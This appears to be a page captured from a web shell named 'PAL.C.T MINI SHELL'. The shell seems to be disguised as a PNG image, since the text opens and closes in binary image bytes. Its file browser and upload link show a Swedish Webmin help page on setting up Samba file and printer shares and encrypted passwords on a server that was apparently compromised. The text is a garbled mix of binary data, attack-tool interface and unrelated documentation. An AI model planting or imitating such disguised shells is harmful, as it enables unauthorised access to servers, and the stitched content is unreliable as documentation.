‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/samba/help/
upload
files >> //usr/libexec/webmin/samba/help/help.sv.html

<body bgcolor=#ffffff>
<title>Samba-hanteraren</title>
<center><img src="images/samba.gif"></center>
<h2><i>Denna hjälpsida är inte färdig</i></h2>
<hr>
<h3>Introduktion</h3>
Samba är ett freeware-program som gör att PC med Windows 95 och NT ska
kunna komma åt filer och skrivare på ett Unix-system som om den vore en
Windows-fil/skrivarserver. I en del Unix-system, t ex RedHat Linux, följer
Samba med i standardinstallationen, medan de flesta system kräver att man
ladder ned och installerar det separat.

<p>Om Samba inte finns installerat på ditt system kommer startsidan för
denna modul att innehålla ett felmeddelande som innebär att systemet inte
kan hitta inställningsfilen för Samba, och det kommer inte att gå att
dela några filer och kataloger. Om Samba är installerat
och du ändå får detta felmeddelande bör du kontrollera
<a href="/config.cgi?samba">modulinställningarna</a> så att Webmin letar
på rätt ställe efter inställningsfilen och Samba-program.

<p>Om Samba är ordentligt installerat kommer startsidan att innehålla en
lista över alla fil- och skrivarresurser på systemet. Om Webmin har
upptäckt att Samba-servern inte är igång finns det också möjlighet att
starta servern via startsidan. Detta kan behöva göras om Samba inte startar
vid systemstart.

<hr>
<h3>Skapa en filresurs</h3>
En filresurs i Samba är en katalog som kan monteras av klient-PC. Varje
resurs har ett kortnamn, t ex <tt>docs</tt> eller <tt>www</tt>, som
motsvarar en katalog på Unix-systemet. Klienten använder normalt notationen
<tt>\\server\resurs</tt> för att komma åt resursen.

<p>Klicka på <tt>Skapa filresurs</tt> nedanför listan över befintliga
resurser för att skapa en ny filresurs. Du får då upp ett formulär där
uppgifter om den nya resursen kan skrivas in. Samba stödjer en stor
mängd inställningar, men de viktigaste är:

<table border width=100%>
<tr> <td><b>Resursnamn</b></td>
<td>Varje resurs måste ha ett namn som klienterna använder för att komma
åt den. Ett specialfall är resursen <tt>Alla hemkataloger</tt> som förklaras
senare.
</td> </tr>
<tr> <td><b>Sökväg</b></td>
<td>Katalogen som utgör resursen. Klienter som använder resursen kan endast
komma åt filer i eller under katalogen.</td> </tr>
<tr> <td><b>Öppna för skrivning</b></td>
<td>Här bestämmer man om klienter får skriva i filer och kataloger i denna
resurs.</td> </tr>
<tr> <td><b>Åtkomst för gäster</b></td>
<td>Om man tillåter gästanvändare för en resurs kan klienterna komma åt den
utan att ange något lösenord. Man kan välja att inte tillåta gästanvändare,
tillåta både gäst- och vanliga användare eller att tillåta endast
gästanvändare.</td></tr>
</table>
Information om övriga resursinställningar finns i avsnittet <b>Ytterligare
inställningar</b> nedan.

<p>När man har skrivit in uppgifter om den nya resursen trycker man på
<tt>Skapa</tt>. Resursen kommer direkt att bli tillgänglig för klienterna.
Om allt är uppsatt ordentligt på ens nätverk kommer användarna att kunna
använda funktionen <tt>Nätverksomgivning</tt> under Windows för att se
servern och alla dess resurser. Den nyss skapade resurser kan då tilldelas
en enhetsbokstav på PC:n.

<hr>
<h3>Skapa en skrivarresurs</h3>
En skrivarresurs i Samba är en lokal eller annan Unix-skrivare som man vill
ska vara tillgänglig även för PC-klienter. Precis som för filresurser har
varje skrivarresurs ett kortnamn ( <tt>hp5si</tt>) och klienterna kommer
åt den med hjälp av notationen <tt>\\server\resurs</tt>.

<p>Man klickar på länken <tt>Skapa skrivarresurs</tt> för att skapa en ny
skrivarresurs och får då upp ett liknande formulär som när man skapar
filresurser. Där skriver man in uppgifter om den nya resursern. De viktigaste
inställningarna för en skrivarresurs är:
<table border width=100%>
<tr> <td><b>Resursnamn</b></td>
<td>Varje resurs måste ha ett namn som klienter använder för att komma åt den.
Ett specialfall är resursen <tt>Alla skrivare</tt> som förklaras senare.
</td> </tr>
<tr> <td><b>Skrivare</b></td>
<td>Den Unix-skrivare som utgör resursen. Det kan vara vilken skrivare som
helst, som man kan skriva till med kommandot <tt>lpr</tt>.</td> </tr>
<tr> <td><b>Sökväg</b></td>
<td>Katalog för temporära skrivarfiler.</td> </tr>
<tr> <td><b>Gäståtkomst</b></td>
<td>Om man tillåter gästanvändare för en resurs kan klienterna komma åt den
utan att ange något lösenord. Man kan välja att inte tillåta gästanvändare,
tillåta både gäst- och vanliga användare eller att tillåta endast
gästanvändare.</td></tr>
<tr> <td><b>Skrivartyp</b></td>
<td>Namn på den skrivardrivrutin som ska användas. Om man skriver in ett
namn som motsvarar en skrivardrivrutin på klienterna kommer användarna inte
att behöva välja skrivardrivrutin när denna skrivare läggs till.</td> </tr>
</table>

<p>Precis som för filresurser kan man göra många fler inställningar.
Så fort en skrivarresurs skapats blir den tillgänglig för klienterna.
Under Windows 95 och NT kan man lägga till en skrivare med inställningen
<tt>Add Printer</tt> på skrivarkontrollpanelen. När skrivaren väl lagts till
kan användaren skriva ut på den som på vilken annan nätverks- eller lokal
skrivare som helst.

<hr>
<h3>Skapa en kopia</h3>


<hr>
<h3>Ändra resurs</h3>
Man klickar på ett resursnamn i listan för att ändra uppgifter om den, och
får då upp samma formulär som när resurser skapas. Man skriver in de ändringar
man vill göra och trycker sedan på <tt>Spara</tt> längst ned till vänster.

<p>Man trycker på <tt>Ta bort</tt> längst ned till höger för att ta bort
en resurs. De användare som för tillfället använder resursen kommer inte att
kastas ut, men det går inte att göra nya uppkopplingar.

<hr>
<h3>Användare och säkerhet</h3>
För resurser där gästanvändare inte tillåts kommer Samba att begära att
klienten skickar ett användarnamn och ett lösenord. Vanligen kontrolleras
dessa mot Unix-användarlistan, som hålls à jour med modulen
<a href=/useradmin/>Användarhanteraren</a>. Samba kan också underhålla en
egen lista med användarnamn och lösenord; se avsnittet <b>Krypterade
lösenord</b> för mer information.

<p>En del Windows-versioner tillåter inte att användaren anger ett användarnamn
då en resurs efterfrågas, utan använder istället det namn som angavs då
användaren "loggade in" på Windows. Om samma användarnamn används både på
Windows och Unix är detta inte ett problem. Om så inte är fallet finns det
två alternativ:
<ol>
<li>Windows 95 och NT kan montera resurser manuellt genom att man skriver
    <tt>net use <i>drive:</i> <i>resurs</i></tt> vid kommandoprompten eller
    att man trycker på nätverksknappen i ett filfönster och skriver in
    sökvägen för resursen. För båda dessa sätt gäller att resursen skrivs
    på formen <tt>\\server\resurs%användare</tt>, där <i>användare</i> är det
    användarnamn man vill använda för att logga in på servern.
<li>Samba kan ställas in för att söka efter den användare som hör till det
    lösenord som anges. Alternativet <tt>Unix-användare</tt> innebär att
    man kan ange de användare eller grupper som ska sökas igenom. Observera
    att detta inte är särskilt säkert om antalet användare som ska sökas
    igenom blir stort, eftersom det då är stor risk att flera användare har
    samma lösenord.
</ul>

<hr>
<h3>Krypterade lösenord</h3>
Vanligtvis skickas lösenord okrypterade över nätverket mellan Sambaservern
och PC-klienten. Detta är inte bra av följande anledningar:
<ol>
<li>Vem som helst kan tjuvlyssna på nätverket och då få tillgång till 
    andras lösenord.
<li>De senaste versionerna av Windows 9x och NT kan inte skicka lösenord
    okrypterade. Om en användare då försöker komma åt Sambaservern från ett
    sådant system kommer den att få felmeddelandet <tt>???</tt>. Ändringen
    finns från och med NT-servicepaket 3.
</ol>

Samba stödjer kryptering av lösenord, men det går inte att kontrollera de
lösenord som klienterna skickar mot den vanliga Unix-lösenordsfilen eftersom
det inte är samma kryptering som används. Av denna anledning måste Samba
ha en egen lista över användare och lösenord.

<p>Så här gör man för att ställa om Samba till att acceptera krypterade
lösenord:
<ol>
<li>Kontrollera att Samba-versionen stödjer lösenordskryptering. Sätt
    inställningen <tt>Krypterade lösenord</tt> i
    <tt>Lösenordsinställningar</tt> till Ja. Om det inte fungerar måste
    en version med stöd för lösenordskryptering hämtas eller kompileras.
<li>Klicka på <tt>Omvandla Unix-användare till Samba-användare</tt> längst
    ned på startsidan. Man får då upp en sida där man kan välja att omvandla
    alla eller bara några av Unix-användarna till Samba-användare.
    Användarnamn, riktiga namn, UID och skal kommer att omvandlas, men inte
    lösenord.
<li>Använd inställningen <tt>Ändra Samba-användarlista</tt> för att skriva
    in lösenord. Den visar en lista över alla Samba-användare, där man kan
    välja den användare man vill lägga till lösenord för. För varje användare
    kan man sätta lösenordet till <tt>Låst</tt> (inloggning spärrad),
    <tt>Inget lösenord</tt> (inget lösenord behöver anges) eller det lösenord
    som ska anges vid inloggning.
</ul>

<hr>
<a href="/"><img alt="<-" align=middle border=0 src=/images/left.gif></a>
&nbsp;&nbsp;<a href="">Tillbaka till modul</a>
 

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚